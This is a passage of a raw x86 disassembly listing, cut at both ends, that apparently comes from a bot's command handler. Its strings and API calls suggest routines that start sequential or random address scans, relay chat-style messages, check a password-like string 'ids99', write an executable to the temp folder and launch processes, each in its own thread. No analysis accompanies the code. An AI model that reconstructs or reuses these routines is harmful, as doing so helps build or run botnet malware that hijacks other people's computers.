		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_588]
		push	30h
		push	eax
		call	sub_416EE0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40FD5A


loc_40FD7C:				; CODE XREF: sub_40CD3A+301Ej
					; sub_40CD3A+3022j
		mov	[ebp+var_448], 1
		jmp	short loc_40FD8E
; ---------------------------------------------------------------------------


loc_40FD88:				; CODE XREF: sub_40CD3A+2FF8j
		mov	[ebp+var_448], ebx


loc_40FD8E:				; CODE XREF: sub_40CD3A+2F7Bj
					; sub_40CD3A+304Cj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_478], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_450], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_44C], eax
		mov	edi, 80h
		lea	eax, [ebp+var_578]
		push	edi
		push	eax
		call	sub_41588A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40FDDF


loc_40FDCC:				; CODE XREF: sub_40CD3A+30C8j
		push	esi


loc_40FDCD:				; CODE XREF: sub_40CD3A+30B2j
		lea	eax, [ebp+var_4F8]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 0Ch
		jmp	short loc_40FE0A
; ---------------------------------------------------------------------------


loc_40FDDF:				; CODE XREF: sub_40CD3A+3090j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40FDEE
		cmp	byte ptr [eax],	23h
		jnz	short loc_40FDEE
		push	eax
		jmp	short loc_40FDCD
; ---------------------------------------------------------------------------


loc_40FDEE:				; CODE XREF: sub_40CD3A+30AAj
					; sub_40CD3A+30AFj
		mov	esi, offset dword_42C300
		push	offset byte_43B658
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FDCC
		mov	[ebp+var_4F8], bl


loc_40FE0A:				; CODE XREF: sub_40CD3A+30A3j
		cmp	[ebp+var_448], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40FE1C
		mov	eax, offset aSequential	; "Sequential"


loc_40FE1C:				; CODE XREF: sub_40CD3A+30DBj
		push	[ebp+var_45C]
		lea	ecx, [ebp+var_588]
		push	[ebp+var_46C]
		push	[ebp+var_470]
		push	[ebp+var_474]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_435380
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	8
		push	eax
		call	sub_414DDA
		add	esp, 2Ch
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_588]
		push	ebx
		push	eax
		push	offset sub_4078DF
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_468]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_40FEAD
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_435330
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_40FEA5:				; CODE XREF: sub_40CD3A+3179j
		push	32h
		call	dword_421060	; Sleep


loc_40FEAD:				; CODE XREF: sub_40CD3A+3158j
		cmp	[ebp+var_444], ebx
		jz	short loc_40FEA5
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_40FEBA:				; CODE XREF: sub_40CD3A+2561j
					; sub_40CD3A+2578j
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		cmp	byte_441BB0[eax], bl
		jz	loc_412818
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	[ebp+arg_18]
		call	sub_415B10
		push	edi
		mov	esi, eax
		call	sub_415B10
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_415B10
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4158E0
		mov	esi, eax
		lea	eax, [ebp+var_2D8]
		push	esi
		push	offset dword_435320
		push	eax
		call	sub_415316
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_412818
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_441BA4[eax]
		call	sub_412BD1
		push	edi
		call	sub_41587F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_441998[eax], 73h
		jnz	loc_412818
		push	esi
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_441BB0
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_40FFA2:				; CODE XREF: sub_40CD3A+3362j
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		jmp	loc_411F81
; ---------------------------------------------------------------------------


loc_40FFCC:				; CODE XREF: sub_40CD3A+2533j
					; sub_40CD3A+254Aj
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		cmp	byte_441BB0[eax], bl
		jz	loc_412818
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	[ebp+arg_18]
		call	sub_415B10
		push	edi
		mov	esi, eax
		call	sub_415B10
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_415B10
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4158E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_412818
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_441BA4[eax]
		call	sub_412BD1
		push	edi
		call	sub_41587F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_441998[eax], 73h
		jnz	loc_412818
		push	esi
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_441BB0
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_40FFA2
; ---------------------------------------------------------------------------


loc_4100A1:				; CODE XREF: sub_40CD3A+2505j
					; sub_40CD3A+251Cj
		push	edi
		call	dword_43CA64	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_388], eax
		call	sub_41587F
		push	[ebp+arg_0]
		mov	[ebp+var_394], eax
		call	sub_41587F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_390], eax
		lea	eax, [ebp+var_414]
		mov	[ebp+var_418], esi
		push	eax
		call	sub_416BE0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_380], edi
		push	[ebp+var_390]
		mov	[ebp+var_37C], eax
		push	[ebp+var_394]
		push	[ebp+var_388]
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset unk_4352B0
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	8
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	[ebp+var_38C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_418]
		push	ebx
		push	eax
		push	offset sub_4143AF
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_38C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_410186
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435260
		jmp	loc_411D70
; ---------------------------------------------------------------------------


loc_41017E:				; CODE XREF: sub_40CD3A+3452j
		push	32h
		call	dword_421060	; Sleep


loc_410186:				; CODE XREF: sub_40CD3A+3431j
		cmp	[ebp+var_378], ebx
		jz	short loc_41017E
		jmp	loc_411D7F
; ---------------------------------------------------------------------------


loc_410193:				; CODE XREF: sub_40CD3A+24D7j
					; sub_40CD3A+24EEj
		push	edi
		call	sub_41587F
		push	7Fh
		mov	[ebp+var_EDC], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_FE0]
		push	eax
		call	sub_416BE0
		push	[ebp+arg_0]
		call	sub_41587F
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_EE0], eax
		lea	eax, [ebp+var_F60]
		push	80h
		push	eax
		mov	[ebp+var_FE8], esi
		call	sub_41588A
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_ECC], eax
		push	[ebp+var_EE0]
		lea	eax, [ebp+var_FE0]
		mov	[ebp+var_ED0], edi
		push	eax
		push	[ebp+var_EDC]
		push	esi
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_435210
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	10h
		push	eax
		call	sub_414DDA
		add	esp, 24h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FE8]
		push	ebx
		push	eax
		push	offset sub_407B36
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_41027F
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4351B8
		jmp	loc_411D70
; ---------------------------------------------------------------------------


loc_410277:				; CODE XREF: sub_40CD3A+354Bj
		push	32h
		call	dword_421060	; Sleep


loc_41027F:				; CODE XREF: sub_40CD3A+352Aj
		cmp	[ebp+var_EC8], ebx
		jz	short loc_410277
		jmp	loc_411D7F
; ---------------------------------------------------------------------------


loc_41028C:				; CODE XREF: sub_40CD3A+24A9j
					; sub_40CD3A+24C0j
		push	0FFh
		lea	eax, [ebp+var_D34]
		push	edi
		push	eax
		call	sub_416BE0
		push	0FFh
		lea	eax, [ebp+var_C34]
		push	[ebp+arg_18]
		push	eax
		call	sub_416BE0
		push	[ebp+arg_0]
		mov	[ebp+var_B30], ebx
		call	sub_41587F
		mov	[ebp+var_B2C], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4102E8
		push	10h
		push	ebx
		push	eax
		call	sub_416930
		add	esp, 0Ch
		mov	[ebp+var_B24], eax
		jmp	short loc_4102EE
; ---------------------------------------------------------------------------


loc_4102E8:				; CODE XREF: sub_40CD3A+3598j
		mov	[ebp+var_B24], ebx


loc_4102EE:				; CODE XREF: sub_40CD3A+35ACj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_410305
		push	esi
		call	sub_41587F
		pop	ecx
		mov	[ebp+var_B28], eax
		jmp	short loc_41030B
; ---------------------------------------------------------------------------


loc_410305:				; CODE XREF: sub_40CD3A+35BAj
		mov	[ebp+var_B28], ebx


loc_41030B:				; CODE XREF: sub_40CD3A+35C9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_B20], eax
		lea	eax, [ebp+var_DB4]
		mov	[ebp+var_DB8], esi
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_B18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_B1C], eax
		push	edi
		lea	eax, [ebp+var_2D8]
		push	offset unk_435174
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_2D8]
		push	15h
		push	eax
		call	sub_414DDA
		add	esp, 28h
		mov	[ebp+var_B34], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_DB8]
		push	ebx
		push	eax
		push	offset sub_40BBF7
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_B34]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_4103BC
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435120
		jmp	loc_4105A5
; ---------------------------------------------------------------------------


loc_4103B4:				; CODE XREF: sub_40CD3A+3688j
		push	32h
		call	dword_421060	; Sleep


loc_4103BC:				; CODE XREF: sub_40CD3A+3667j
		cmp	[ebp+var_B14], ebx
		jz	short loc_4103B4
		jmp	loc_4105B4
; ---------------------------------------------------------------------------


loc_4103C9:				; CODE XREF: sub_40CD3A+247Bj
					; sub_40CD3A+2492j
		push	7Fh
		lea	eax, [ebp+var_1A38]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_19B8]
		push	[ebp+arg_18]
		push	eax
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_1938]
		push	[ebp+arg_0]
		push	eax
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_18B8]
		push	[ebp+var_8C]
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_8]
		push	[ebp+arg_0]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_1830],	eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_1A3C],	eax
		lea	eax, [ebp+var_2D8]
		push	edi
		push	offset dword_4350E0
		push	eax
		mov	[ebp+var_1834],	esi
		call	sub_415316
		add	esp, 44h
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	0Bh
		push	eax
		call	sub_414DDA
		add	esp, 0Ch
		mov	[ebp+var_1838],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1A3C]
		push	ebx
		push	eax
		push	offset sub_40182F
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_1838]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_4104BD
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_435090
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_4104A5:				; CODE XREF: sub_40CD3A+378Bj
		cmp	[ebp+var_8], ebx
		jnz	loc_40D68B
		push	ebx
		push	esi
		jmp	loc_40F903
; ---------------------------------------------------------------------------


loc_4104B5:				; CODE XREF: sub_40CD3A+3789j
		push	32h
		call	dword_421060	; Sleep


loc_4104BD:				; CODE XREF: sub_40CD3A+374Ej
		cmp	[ebp+var_182C],	ebx
		jz	short loc_4104B5
		jmp	short loc_4104A5
; ---------------------------------------------------------------------------


loc_4104C7:				; CODE XREF: sub_40CD3A+2436j
					; sub_40CD3A+244Dj ...
		push	7Fh
		lea	eax, [ebp+var_1CC8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_1C48]
		push	[ebp+arg_18]
		push	eax
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_1BC8]
		push	[ebp+arg_0]
		push	eax
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_1B48]
		push	[ebp+var_8C]
		push	eax
		call	sub_416BE0
		push	20h
		lea	eax, [ebp+var_1AC8]
		push	[ebp+arg_8]
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1A48],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1A44],	eax
		lea	eax, [ebp+var_2D8]
		push	edi
		push	offset dword_435048
		push	eax
		mov	[ebp+var_1CD0],	esi
		call	sub_415316
		add	esp, 50h
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	0Ah
		push	eax
		call	sub_414DDA
		add	esp, 0Ch
		mov	[ebp+var_1CCC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1CD0]
		push	ebx
		push	eax
		push	offset start
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_1CCC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_4105CE
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434FF8


loc_4105A5:				; CODE XREF: sub_40CD3A+2CD7j
					; sub_40CD3A+2E11j ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316


loc_4105B1:				; CODE XREF: sub_40CD3A+2D07j
		add	esp, 0Ch


loc_4105B4:				; CODE XREF: sub_40CD3A+2CECj
					; sub_40CD3A+2E26j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40D68B
		push	ebx
		push	[ebp+var_4]
		jmp	loc_411D8A
; ---------------------------------------------------------------------------


loc_4105C6:				; CODE XREF: sub_40CD3A+389Aj
		push	32h
		call	dword_421060	; Sleep


loc_4105CE:				; CODE XREF: sub_40CD3A+385Dj
		cmp	[ebp+var_1A40],	ebx
		jz	short loc_4105C6
		jmp	short loc_4105B4
; ---------------------------------------------------------------------------


loc_4105D8:				; CODE XREF: sub_40CD3A+2408j
					; sub_40CD3A+241Fj
		push	7Fh
		lea	eax, [ebp+var_158C]
		push	edi
		push	eax
		call	sub_416BE0
		push	[ebp+arg_18]
		call	sub_41587F
		push	3Fh
		mov	[ebp+var_143C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_150C]
		push	eax
		call	sub_416BE0
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_410626
		push	3Fh
		lea	eax, [ebp+var_14CC]
		push	esi
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_410626:				; CODE XREF: sub_40CD3A+38D8j
		lea	eax, [ebp+var_150C]
		mov	[ebp+var_1438],	1
		push	eax
		lea	eax, [ebp+var_158C]
		push	[ebp+var_143C]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset unk_434FB0
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	17h
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	[ebp+var_1434],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1590]
		push	ebx
		push	eax
		push	offset sub_40CA58
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_1434]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_4106B5
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434F60
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_4106AD:				; CODE XREF: sub_40CD3A+3981j
		push	32h
		call	dword_421060	; Sleep


loc_4106B5:				; CODE XREF: sub_40CD3A+3960j
		cmp	[ebp+var_1430],	ebx
		jz	short loc_4106AD
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_4106C2:				; CODE XREF: sub_40CD3A+23C8j
					; sub_40CD3A+23DFj
		push	[ebp+arg_18]
		call	sub_41587F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_6C0], eax
		jle	loc_4107B2
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_848]
		push	esi
		push	eax
		call	sub_41588A
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_6BC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_84C], eax
		lea	eax, [ebp+var_748]
		push	esi
		push	eax
		call	sub_41588A
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_6B8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6B4], eax
		push	edi
		push	offset unk_434F1C
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	0Dh
		push	eax
		call	sub_414DDA
		add	esp, 38h
		mov	[ebp+var_6C8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_84C]
		push	ebx
		push	eax
		push	offset sub_401444
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_6C8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_4107A5
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434ED0
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_41079D:				; CODE XREF: sub_40CD3A+3A71j
		push	32h
		call	dword_421060	; Sleep


loc_4107A5:				; CODE XREF: sub_40CD3A+3A50j
		cmp	[ebp+var_6B0], ebx
		jz	short loc_41079D
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_4107B2:				; CODE XREF: sub_40CD3A+3999j
		push	offset unk_434E80
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_4107BC:				; CODE XREF: sub_40CD3A+239Aj
					; sub_40CD3A+23B1j
		push	[ebp+arg_18]
		push	edi
		call	dword_421134	; MoveFileA
		test	eax, eax
		jz	short loc_4107E9
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2D8]
		push	edi
		push	offset unk_434E44
		push	200h
		push	eax
		call	sub_41588A
		jmp	loc_411FAB
; ---------------------------------------------------------------------------


loc_4107E9:				; CODE XREF: sub_40CD3A+3A8Ej
		push	offset dword_434E24
		call	sub_409B27
		push	eax
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 10h
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_41080D:				; CODE XREF: sub_40CD3A+236Cj
					; sub_40CD3A+2383j
		push	edi
		lea	eax, [ebp+var_13A0]
		push	104h
		push	eax
		call	sub_41588A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_410847
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_410847
		push	eax
		lea	eax, [ebp+var_129C]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_410847:				; CODE XREF: sub_40CD3A+3AEBj
					; sub_40CD3A+3AFCj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_1420]
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1424],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1194],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1190],	eax
		lea	eax, [ebp+var_129C]
		push	eax
		lea	eax, [ebp+var_13A0]
		push	eax
		push	offset unk_434DE0
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	1Bh
		push	eax
		call	sub_414DDA
		add	esp, 2Ch
		mov	[ebp+var_1198],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1424]
		push	ebx
		push	eax
		push	offset sub_4086B2
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_1198]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_41090C
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434D90


loc_4108F0:				; CODE XREF: sub_40CD3A+A55j
					; sub_40CD3A+A7Bj ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_410904:				; CODE XREF: sub_40CD3A+3BD8j
		push	32h
		call	dword_421060	; Sleep


loc_41090C:				; CODE XREF: sub_40CD3A+3BA8j
		cmp	[ebp+var_118C],	ebx
		jz	short loc_410904
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_410919:				; CODE XREF: sub_40CD3A+233Ej
					; sub_40CD3A+2355j
		push	44h
		lea	eax, [ebp+var_31C]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415390
		mov	[ebp+var_31C], esi
		xor	esi, esi
		inc	esi
		push	edi
		mov	[ebp+var_2F0], esi
		mov	word ptr [ebp+var_2EC],	bx
		call	sub_41587F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_410956
		mov	word ptr [ebp+var_2EC],	5


loc_410956:				; CODE XREF: sub_40CD3A+3C11j
		cmp	[ebp+var_C], ebx
		jz	loc_40F526
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40F526
		lea	eax, [ebp+var_970]
		push	eax
		lea	eax, [ebp+var_31C]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jnz	short loc_4109A7
		push	offset unk_434D58
		jmp	loc_40EDC4
; ---------------------------------------------------------------------------


loc_4109A7:				; CODE XREF: sub_40CD3A+3C61j
		push	edi
		push	offset dword_434D2C
		jmp	loc_40F51D
; ---------------------------------------------------------------------------


loc_4109B2:				; CODE XREF: sub_40CD3A+2310j
					; sub_40CD3A+2327j
		push	[ebp+arg_18]
		push	offset aIds99	; "ids99"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B25
		lea	eax, [ebp+var_A80]
		push	eax
		push	104h
		call	dword_4210F8	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_D34]
		push	edi
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_97C]
		push	eax
		call	sub_413FA0
		push	eax
		lea	eax, [ebp+var_A80]
		push	eax
		lea	eax, [ebp+var_C34]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_415316
		mov	eax, [ebp+esi+var_88]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_B30], 1
		mov	[ebp+var_B2C], ebx
		jz	short loc_410A44
		push	10h
		push	ebx
		push	eax
		call	sub_416930
		add	esp, 0Ch
		mov	[ebp+var_B24], eax
		jmp	short loc_410A4A
; ---------------------------------------------------------------------------


loc_410A44:				; CODE XREF: sub_40CD3A+3CF4j
		mov	[ebp+var_B24], ebx


loc_410A4A:				; CODE XREF: sub_40CD3A+3D08j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_410A64
		push	esi
		call	sub_41587F
		pop	ecx
		mov	[ebp+var_B28], eax
		jmp	short loc_410A6A
; ---------------------------------------------------------------------------


loc_410A64:				; CODE XREF: sub_40CD3A+3D19j
		mov	[ebp+var_B28], ebx


loc_410A6A:				; CODE XREF: sub_40CD3A+3D28j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_B20], eax
		lea	eax, [ebp+var_DB4]
		mov	[ebp+var_DB8], esi
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_B18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_B1C], eax
		lea	eax, [ebp+var_2D8]
		push	offset unk_434CE0
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_2D8]
		push	16h
		push	eax
		call	sub_414DDA
		add	esp, 24h
		mov	[ebp+var_B34], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_DB8]
		push	ebx
		push	eax
		push	offset sub_40BBF7
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_B34]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_410B18
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434C90
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_410B10:				; CODE XREF: sub_40CD3A+3DE4j
		push	32h
		call	dword_421060	; Sleep


loc_410B18:				; CODE XREF: sub_40CD3A+3DC3j
		cmp	[ebp+var_B14], ebx
		jz	short loc_410B10
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_410B25:				; CODE XREF: sub_40CD3A+3C89j
		push	offset unk_434C38
		jmp	loc_40EDBE
; ---------------------------------------------------------------------------


loc_410B2F:				; CODE XREF: sub_40CD3A+22E2j
					; sub_40CD3A+22F9j
		push	[ebp+var_90]
		push	offset dword_436AD8
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D18F
		cmp	[ebp+var_C], ebx
		jz	loc_40D18F
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		push	eax
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_434C24
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416BE0
		push	edi
		call	sub_41587F
		add	esp, 30h
		test	eax, eax
		jle	short loc_410BB6
		push	edi
		call	sub_41587F
		imul	eax, 3E8h
		pop	ecx
		push	eax
